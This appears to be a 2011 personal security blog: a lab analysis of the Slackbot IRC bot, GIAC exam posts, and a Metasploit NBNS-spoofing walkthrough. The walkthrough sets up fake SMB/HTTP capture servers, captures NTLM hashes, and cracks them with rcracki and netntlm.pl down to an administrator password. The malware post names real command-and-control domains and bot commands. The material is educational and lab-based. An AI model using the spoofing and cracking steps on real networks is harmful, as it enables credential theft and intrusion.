Saturday, July 9, 2011

Analyzing malware [ slackbot ] - I

Before starting along these analysis posts, I suggest you to read this post in order to gain understanding of the methodology to reverse engineering malware, my malware lab setup, & study resources.


Behavioral Analysis

In this phase, we will observe the various behaviors exhibited by the specimen. We will monitor the following:
1. File system changes
-> Identify and record any additions, updates, deletes made to the file system and registry by the specimen
2. Network access
-> Identify and record any new listening ports, and outgoing connection attempts
: IP addresses, ports, and services.

Before starting analysis and / or executing the malware specimen, we must document the md5sum / sha1sum of the executable. We will see why, in a moment.


We will now use RegShot to take snapshots of Windows registry. You can get it from sourceforge [ http://sourceforge.net/projects/regshot/ ]
From the RegShot project page,
Regshot is an open-source(GPL) registry compare utility that allows you to quickly take a snapshot of your registry and then compare it with a second one - done after doing system changes or installing a new software product.
Remember to check 'Scan dir1' as this will enable monitoring any changes made to C:\. If you have multiple locations you'd like to include, you can put them along with C:\. This first shot will act as a baseline of a clean system, i.e. before infection from the malware.




Next, we are going to use CaptureBAT. This utility is freely available from the Honeynet project [ https://www.honeynet.org/node/315 ]

From the CaptureBAT project site,
This is a behavioral analysis tool of applications for the Win32 operating system family. Capture BAT is able to monitor the state of a system during the execution of applications and processing of documents, which provides an analyst with insights on how the software operates even if no source code is available. Capture BAT monitors state changes on a low kernel level and can easily be used across various Win32 operating system versions and configurations. CaptureBAT is developed and maintained by Christian Seifert of the NZ Chapter.

We have configured CaptureBAT to log any read / write access attempts to registry, as well as log network traffic.

Open up 'Process Explorer' - procexp.exe. Process Explorer is a handy utility by Sysinternals, now under Microsoft umbrella.

From the Process Explorer project site [ http://technet.microsoft.com/en-us/sysinternals/bb896653 ],

Ever wondered which program has a particular file or directory open? Now you can find out. Process Explorer shows you information about which handles and DLLs processes have opened or loaded.
The Process Explorer display consists of two sub-windows. The top window always shows a list of the currently active processes, including the names of their owning accounts, whereas the information displayed in the bottom window depends on the mode that Process Explorer is in: if it is in handle mode you'll see the handles that the process selected in the top window has opened; if Process Explorer is in DLL mode you'll see the DLLs and memory-mapped files that the process has loaded. Process Explorer also has a powerful search capability that will quickly show you which processes have particular handles opened or DLLs loaded.The unique capabilities of Process Explorer make it useful for tracking down DLL-version problems or handle leaks, and provide insight into the way Windows and applications work.
Once all the monitoring is in place, go ahead and execute the malware specimen and wait for 30-60 seconds. You will find that slackbot.exe actually spawned another process '<random_chars>.exe'. The process name is a random text. Kill this process by selecting it in Process Explorer, right click and 'Kill Process.'

Stop CaptureBAT by pressing 'Return / Enter' key.

Post Infection
Let's take second snapshot of the registry now.




Once second snapshot is taken, you'll notice that 'Compare' button has highlighted. Go ahead & press 'Compare'. This will compare snapshots before and after malware infection. The output file is stored in C:\, as it's set the Output path.



RegShot output log shows us all the keys that were added, modified and deleted by the specimen.

Let's also look at CaptureBAT log output. 
 



CaptureBAT log output clearly shows the malware specimen has accessed the file system, added new files, and modified existing files. Any network traffic sent out is also captured in the form of .pcap files, which can be opened up in Wireshark. CaptureBAT also saves any deleted files and modified files retaining the appropriate directory structure where the change occurred. Also, notice in the log, that the slackbot.exe creates a new process, mmra.exe, in C:\WINDOWS\ directory, and then kills itself.

Let's take a md5sum of this new executable.
Note: I ran the malware once more during testing, so the new exe name will be different in the following screen caps. Just FYI... the file name does not really matter.


When we started above with md5sum, I had mentioned we will see the necessity of md5sum during malware analysis in a moment. Here it is... we see that the md5sum of both the original specimen exe and the new executable nwhyy.exe, which was spawned out from the slackbot.exe, has the same md5. This means that both the files are exactly the same. The slackbot.exe simply copied itself over to C:\WINDOWS.

Now let's take a pause and review what we have found until now.

1. The malware specimen is creating a copy of itself and runs from the new location [ C:\WINDOWS\ ]
2. Registry entries are modified to start the specimen exe once the system starts
3. There is a potential outbound network access attempted

It's time now to start looking into the new specimen exe nwhyy.exe for any readable strings. It may give us some hint.

To do this, we can either use the 'strings' utility on *nix based or on Windows systems.

man strings
DESCRIPTION
       the options below) and are followed by an unprintable character.  By default, it only prints the strings from the initialized and loaded sections of object files; for other types of files, it prints the strings from the whole file.
       strings is mainly useful for determining the contents of non-text files.
      For each file given, GNU strings prints the printable character sequences that are at least 4 characters long (or the number given with
On Windows based systems, we can also use 'Bintext' [ http://www.mcafee.com/us/downloads/free-tools/bintext.aspx ]

From the BinText project site,
A small, very fast and powerful text extractor that will be of particular interest to programmers. It can extract text from any kind of file and includes the ability to find plain ASCII text, Unicode (double byte ANSI) text and Resource strings, providing useful information for each item in the optional "advanced" view mode. Its comprehensive filtering helps prevent unwanted text being listed. The gathered list can be searched and saved to a separate file as either a plain text file or in informative tabular format.


As you see, there is not much readable text obtained, implying that the specimen code is obfuscated in some way. If you look at the text in the upper 2-3 rows of the strings / bintext output, you'll notice that it is telling us about UPX.

UPX is a well-known packer [ http://upx.sourceforge.net/ ]

From the UPX project site,
UPX achieves an excellent compression ratio and offers very fast decompression. Your executables suffer no memory overhead or other drawbacks for most of the formats supported, because of in-place decompression. UPX strengths in a nutshell:excellent compression ratio: typically compresses better than WinZip/zip/gzip, use UPX to decrease the size of your distribution! 


You can read more about UPX on wikipedia: http://en.wikipedia.org/wiki/UPX

Now you know, the specimen nwhyy.exe, is packed with UPX. So, we will just go ahead and decompress the specimen with UPX itself. In cases where we do not know which native packer has been used to pack the malware specimen, we will have to unpack the specimen manually, which is a different process altogether.


UPX decompresses the file and replaces the original file, nwhyy.exe.

Let's see if we can find any readable strings in this unpacked exe.




Cool! Now you can see several readable strings in the exe. The highlighted text in the above screen capture looks like commands and respective response messages.

Let's look at the md5sum again w.r.t this new unpacked executable.


As expected, the md5sum of the last exe is different than the original slackbot.exe. This nwhyy.exe is a new, raw, unobfuscated malware executable.

Now that we have identified and documented file system related changes done by the malware specimen, we will proceed to identify network related events / actions.


Wireshark is the go-to tool for network traffic monitoring. Let's fire up wireshark and run the executable again.




Here you see that the malware is trying to resolve the following three domains:
1. sb.webhop.org
2. malware.lab.server [ this is the custom domain I configured into the malware specimen ]
3. irc.slim.org.au


In order to gain insight into what and why of these network access attempts by the malware, we will give it what it wants. It is sending out name resolution requests to get the IP address of the domains, so we will give it the IP address. The catch is, we will tell the malware that the domain(s) it wants to reach, refer to us, i.e. 172.72.5.1.


One way we can do this, is by modifying the 'hosts' file and adding the IP-hostname mapping in it.


We will start with sb.webhop.org. We will add a IP-hostname entry in the C:\WINDOWS\system32\drivers\etc\hosts file for sb.webhop.org. 



Save the hosts file and ping the domain address. You should receive a ping response from 172.72.5.1.


Once malware is able to resolve sb.webhop.org, we kill the malware process, restart traffic capture in wireshark and run the specimen again. You will see that it is trying to establish a HTTP connection.




Kill the nwhyy.exe through Process Explorer. 


We will now set up a netcat listener on port 80 and execute the specimen. This simple set up with help us gather connection request header info immediately.




Netcat listener is set up using the following command:
nc -lv 80
where
         -l -> listening mode
         -v -> verbose
         80 -> port to listen on
In the connection request captured, we see that the malware is using a custom Referer and User-Agent. Second, the User-Agent is of Windows 98, which is certainly incorrect as the traffic had originated from Windows XP Sp2. 


So overall, this is making the requests seem to come from 'hxxp://psychward.slak.org'. Ads and affiliates, more traffic that comes from affiliate, more commission that goes to affiliate, you see the point.?! 


Kill the process nwhyy.exe now.


Let's move on to malware.lab.server. This is a custom irc server I added to the bot specimen. Botherders can add multiple irc/http servers to act as command-and-control. The bot will then contact these command & control servers in case other servers are unavailable / unreachable.


As earlier, we will add a new hosts file entry to make the domain resolve to us, 172.72.5.1.




You can confirm the reachability by pinging the domain name. It should resolve correctly and ping responses are received.


If you start sniffing via wireshark again and run the malware exe, you will see IRC connection attempts to 172.72.5.1. Since there is no irc server running on our box, the connections are RST back. 


Doing a 'Follow TCP Stream' on the connection originating from 172.72.5.135 - the infected box - we see that this is an IRC request, and the channel is #jigyaasa.




Kill the malware process and now let's start an IRC server [ iirc-hybrid ] on our box.




After starting the IRC server, we join in to the channel #jigyaasa. Joining the channel first, ensures that we have the OP privileges. This privilege is like an admin privilege to be able to control the channel and its users.


Run the malware exe, & you will find a new client is connected to our IRC server, the client originates from 172.72.5.135. Based on the command strings that we found inside the unpacked exe earlier, go ahead & enter some commands in the IRC channel.




You'll notice that the commands !@id and !@sysinfo run fine and give the output out. But commands like !@login and !@run do not show any message, no output or any sign of execution. If you try to talk to the bot with a random text, there is no response. Looking at this behavior, it is certain that there is an authentication mechanism built into the bot. Only once the analyst / bot herder authenticates, can (s)he can run privileged actions like remote execution.


To conclude, we have derived the following info from network traffic analysis:
1. Bot sends HTTP connection requests with modified headers to sb.webhop.org - objective is to increase traffic stats coming from the host [ hxxp://psychward.slak.org ]
2. Bot attempts to connect to a potential command n control server - malware.lab.server, in our scenario - channel #jigyaasa, with a random NICK, and has both unprivileged & privileged commands


++++++++++++++++++++++++++++++++++++++++++++++++++

Now at this stage, we have studied potential ways in which this bot interacts and have collected sufficient information about it. The behavioral analysis phase can be paused for now and we can proceed to the Code analysis phase.

Analyzing Malware - begin

Hi folks,

In the upcoming posts, I will presenting a step by step process to analyze a piece of malware. I will be analyzing Slackbot. It is an old bot but nevertheless, customizable and useful in learning the malware analysis process.

One of the most important things to ensure is that all of the analysis is performed in a lab network. The lab network must be isolated completely from the production environment. Another crucial point is to use virtual machine snapshots during the analysis. Snapshots allow you to revert back to a clean copy of OS & machine set up during and after the analysis.

This is a general topology of the network set up I have used for this session:



Set up the host network on VMWare / Virtualbox and configure a DHCP server for this subnet. The hosts connected to this network be assigned IP addresses from this pool only.

Lenny Zeltser [ http://zeltser.com ] has written extremely useful post and a cheat sheet for Reverse Engineering malware. It talks about the approach analysts should take, various phases in reversing malware, tools you can use in each step, how to use the tools, time saving techniques using tools as well bypassing malware defenses in response to reversing. A very good read, get it here: http://zeltser.com/reverse-malware/reverse-malware-cheat-sheet.html

The analysis I am gonna post is based on Lenny's cheat sheet above. Here's the reversing methodology:
General Approach

  1. Set up a controlled, isolated laboratory in which to examine the malware specimen.
  2. Perform behavioral analysis to examine the specimen’s interactions with its environment.
  3. Perform static code analysis to further understand the specimen’s inner-workings.
  4. Perform dynamic code analysis to understand the more difficult aspects of the code.
  5. If necessary, unpack the specimen.
  6. Repeat steps 2, 3, and 4 (order may vary) until sufficient analysis objectives are met.
  7. Document findings and clean-up the laboratory for future analysis.
If you are keen on starting up on or polishing your reversing skills, following is a list of few books. I read and refer to these books for practicing reversing and malware analysis as and when I get time out of projects.
  
Another awesome learning resource is SANS 610 Reverse Engineering Malware [ GREM ] course. You can have it via self-study, live onsite or vLive [ over the internet ]. 

Read more on the class here:


Click to read my post on Analyzing Malware - I

Your comments are welcome.

Monday, June 20, 2011

Passed GIAC GREM Exam


Hey guys, I passed GIAC GREM this June 05, 2011. GREM is the Reverse Engineering Malware [ SANS 610 class ]. I find the RE stuff pretty cool. You get to learn how to analyze web, doc, pdf, and flash based malware; plus the fundamentals of exploit dev, vectors and similar sexy dope.



If you have any questions, feel free to comment n ask here.

Cheers!

Edit: A lot of people have been emailing me asking the suggestions on self-study resources for GREM. So, I am updating this post with my response info. 

Hope you will find it useful.
Malware Analyst's cookbook is a great resource for GREM exam preparation. Also check out Lenny Zeltser's website for articles, posts, and other information. Go join in Offensive computing website and get your hands dirty with the malware specimens. Apart from these, I would also encourage to go through my blog posts dissecting a bot specimen using the RE methodology and RE tools. 
From the exam perspective, when you purchase the exam, you will also receive 2 practice tests. These tests will give you a fair idea on the type of questions, & depth expected in the exam. For a list of topics that GREM covers, please refer to GREM exam link.
The links are as follows:
1. Lenny Zeltser's website: zeltser.com
2. Offensive Computing website: http://offensivecomputing.net/
3. GREM Topics: http://www.giac.org/certification/reverse-engineering-malware-grem
4. My blog posts covering bot analysis, patching malware, and manually unpacking a malware for analysis:
http://ipositivesecurity.blogspot.in/2011/07/analyzing-malware-begin.html
http://ipositivesecurity.blogspot.in/2011/07/analyzing-malware-slackbot-i.html
http://ipositivesecurity.blogspot.in/2011/07/analyzing-malware-slackbot-ii.html
http://ipositivesecurity.blogspot.in/2011/08/analyzing-malware-patching-in-way.html
http://ipositivesecurity.blogspot.in/2011/08/analyzing-malware-manually-unpacking.html

Wednesday, April 20, 2011

RSS Feed url fixed

It's been a while I was thinking of checking why feeds were not flowing out. So I spent a few hours tonight [ it's morning now, GM ] and realized there had been a sort of loop issue b/w google feed setting vis-a-vis feedburner.

The feed url is fixed now and I've added 'Subscribe' on the down left of the blog. You can subscribe to iPositiveSecurity using your fav feed reader.

I'll sign off now.

Take Good Care of yourself, people!

Friday, April 15, 2011

Metasploit NBNS Auxiliary FTW

Metasploit's NBNS auxillary module in action. I will be using Metasploit Express for the exercise. The objective is to gain access to victim's password.


This video is based on Packetstan's awesome tutorial. Do check it out here for full details:
http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html


Let's begin..
First we start the Metasploit auxiliary NBNS module:
    auxiliary/spoof/nbns/nbns_response
        -> NBNS queries are sent out as broadcast. So we will now intercept the requests and send our spoofed NBNS responses to the victim. This will poison the name lookup.
msf auxiliary(nbns_response) > show options

Module options (auxiliary/spoof/nbns/nbns_response):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   REGEX    .*               yes       Regex applied to determene if spoofed reply is sent
   SPOOFIP  172.72.5.1       yes       IP address with which to poison responses
   VERBOSE  true             no        Determines whether to display responses

msf auxiliary(nbns_response) > run
[*] Auxiliary module execution completed

[*] NBNS Spoofer started. Listening for NBNS requests...
msf auxiliary(nbns_response) > 

As soon as an end-client sends out a name resolution query, our NBNS response server responds back saying it's the one the client is looking for.
[*] Packet Recieved from 172.72.5.139
[*] Regex matched PLAYGROUND1 from 172.72.5.139. Sending reply...
Now that we have controlled the name resolution, we can start rogue / fake services at our end - such as a file server [ smb ], and a web server [ http ].



The idea is to set up these fake services, and capture the hashes when the victim attempts to access them.


Configure and start the following modules:
auxiliary/server/capture/smb
msf auxiliary(smb) > show options

Module options (auxiliary/server/capture/smb):

   Name        Current Setting   Required  Description
   ----        ---------------   --------  -----------
   CAINPWFILE                    no        The local filename to store the hashes in Cain&Abel format
   CHALLENGE   1122334455667788  yes       The 8 byte challenge
   JOHNPWFILE                    no        The prefix to the local filename to store the hashes in JOHN format
   LOGFILE     /tmp/smblog       no        The local filename to store the captured hashes
   SRVHOST     172.72.5.1        yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     445               yes       The local port to listen on.
   SSL         false             no        Negotiate SSL for incoming connections
   SSLVersion  SSL3              no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > show options
Module options (auxiliary/server/capture/http_ntlm):

   Name        Current Setting   Required  Description
   ----        ---------------   --------  -----------
   CHALLENGE   1122334455667788  yes       The 8 byte challenge
   LOGFILE     /tmp/httplog      no        The local filename to store the captured hashes
   PWFILE                        no        The local filename to store the hashes in Cain&Abel format
   SRVHOST     172.72.5.1        yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     80                yes       The local port to listen on.
   SSL         false             no        Negotiate SSL for incoming connections
   SSLVersion  SSL3              no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                 no        The URI to use for this exploit (default is random)

When the user attempts to authenticate / access the SMB / HTTP services, our rogue server responds and the end-client sends it's hashed credentials for getting authenticated.
msf auxiliary(smb) > [*] 2011-04-19 16:20:17 +0530
NTLMv1 Response Captured from 172.72.5.139:1063
PLAYGROUND1\Administrator OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:76365e2d142b56125b01a43c055c22ccd736fb4bab100a50
NTHASH:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a


msf auxiliary(http_ntlm) > [*] Packet Recieved from 172.72.5.139
[*] Regex matched SERVER from 172.72.5.139. Sending reply...
[*] Request '/' from 172.72.5.139:1058
[*] Request '/' from 172.72.5.139:1058
[*] Request '/' from 172.72.5.139:1058

[*] 172.72.5.139: PLAYGROUND1\Administrator 76365e2d142b56125b01a43c055c22ccd736fb4bab100a50:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a on PLAYGROUND1
We have configured logging location in module options and these hashes are captured in their respective log files.
root@victor:Tools# cat /tmp/smblog
2011-04-19 16:20:17 +0530
NTLMv1 Response Captured from 172.72.5.139:1063
PLAYGROUND1\Administrator OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:76365e2d142b56125b01a43c055c22ccd736fb4bab100a50
NTHASH:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a

root@victor:Tools# cat /tmp/httplog
2011-04-19 16:17:49 +0530:172.72.5.139:PLAYGROUND1:PLAYGROUND1:Administrator:76365e2d142b56125b01a43c055c22ccd736fb4bab100a50:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a


But these hashes are salted with a challenge, which means cracking them is not feasible. For salted hashes, we will use Rainbow tables.


Download the free Rainbow tables here:
ftp://freerainbowtables.mirror.garr.it/mirrors/freerainbowtables/halflmchall/


Using rcracki [ http://sourceforge.net/projects/rcracki/ ] and the rainbow tables, we now crack the first half of the LM hash. We only have to take first 16 characters from the LM hash and use it with rcracki_mt as follows:
./rcracki_mt -h <first 16 chars of LM hash> /path/to/rainbowtables/
[ First 16 chars of LM hash in this instance -> 76365e2d142b5612 ]


So the command I run is:
./rcracki_mt -h 76365e2d142b5612 /halflmchall_all-space#1-7_0/
First portion cracked
### output snipped ### 
statistics
-------------------------------------------------------
plaintext found:            1 of 1 (100.00%)
total disk access time:     23.17 s
total cryptanalysis time:   16.95 s
total pre-calculation time: 260.47 s
total chain walk step:      199970001
total false alarm:          1669
total chain walk step due to false alarm: 12603773
result
-------------------------------------------------------
76365e2d142b5612    PASSWOR    hex:50415353574f52
### output snipped ### 
Aha..we have got first portion of the password [ PASSWOR ]. Now we feed this portion of password as a seed to netntlm.pl [ found in john install directory ]. The input file should have the hashes in john-compatible format [ from smblog ] or in the following format from httplog:
<user>:::<LMHASH>:<NTLMHASH>:<Metasploit_static_CHALLENGE>
i.e. in the format as follows ->
root@victor:Tools# cat /tmp/nbns
playground\administrator:::76365e2d142b56125b01a43c055c22ccd736fb4bab100a50:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a:1122334455667788

netntlm.pl is run as follows:
./netntml.pl --seed <first_portion> --file nbns
root@victor:run#./netntml.pl --seed PASSWOR --file /tmp/nbns
So we have the uppercase password -> PASSWORK


Now we have got the full password. But as we can see here, it is all uppercase. We need to run it through the previous command again - i.e.
root@victor:run#./netntml.pl --seed PASSWORK --file /tmp/nbns 
- and we will get the password in it's true case.
Performing NTLM case-sensitive crack for account: playground\administrator.
guesses: 1  time: 0:00:00:00 100.00% (ETA: Tue Apr 12 17:19:56 2011)  c/s: 1163  trying: passwork
Loaded 1 password hash (NTLMv1 C/R MD4 DES [netntlm])
passwork         (playground\administrator)

We found the true case password -> "passwork" :)
We have the password and can now use it in further attacks such as using psexec.!

Metasploit's Auxilary module netbios name spoofer is very convenient and effective in a pen test. Start the module, then set up fake services like smb / http, and then just lay back n watch hashes pop up...!



Thank You for watching!

Wednesday, April 6, 2011

Passed GIAC GCIH Exam

Hey fellas,

After around a month's preparation post passing GPEN, I sat for and passed  GIAC Incident Handling exam yesterday.

Here is the program detail:

This subject teaches about Incident Handling skills, and dives deep into various attack vectors. Also, interesting is to learn how to understand and apply this knowledge to attacks vis-a-vis the 6 Incident Handling phases.

The exam was gripping at all times, and I found a handful of pretty tricky questions in there too. I will not delve any detail on the questions, only that you should have decent experience in most / all the topics mentioned in the syllabii as well as have at least some exposure to handling events / incidents from a high level.

Here is the GCIH certification bulletin:

Day 1 today, and I am already finding this knowledge very helpful. It is comforting to be able to relate methods n thought process of a penetration tester in confirming / exploiting security weaknesses in a customer environment, with the defensive approach of an Incident Handler. This brings out all the worth of GPEN n GCIH cos it is crucial to be able to help customers' infosec / security team understand ways an attacker can get in as well as recommendations pertaining to each of the phases of Incident handling process; i.e.   preparation / identification / containment / eradication / recovery and lessons learned. And lastly and equally importantly, as a consultant, you can show the playground and the game to (non-tech) executives.

What say? Go for it!

Best Regards.


Monday, March 14, 2011

Passed GIAC GPEN Exam today

Hey peeps,


My first post of this year. And what a busy lazy ass I've been since past few months.


So quick update is that I attended SANS 560 class in February 2011. And sat for the exam today March 14, 2011 here at a local kryterion center, that's actually exactly 3 weeks later.


Briefly hissing, I completed the test in around 2:30 hours out of 4 and scored a decent 93%.


Yeah, I passed. I am GIAC GPEN certified now. Yay!


I hope I can use this weekend to try put down my study plan in a new post.


Ping me if you've any questions etc.


Keep learning.!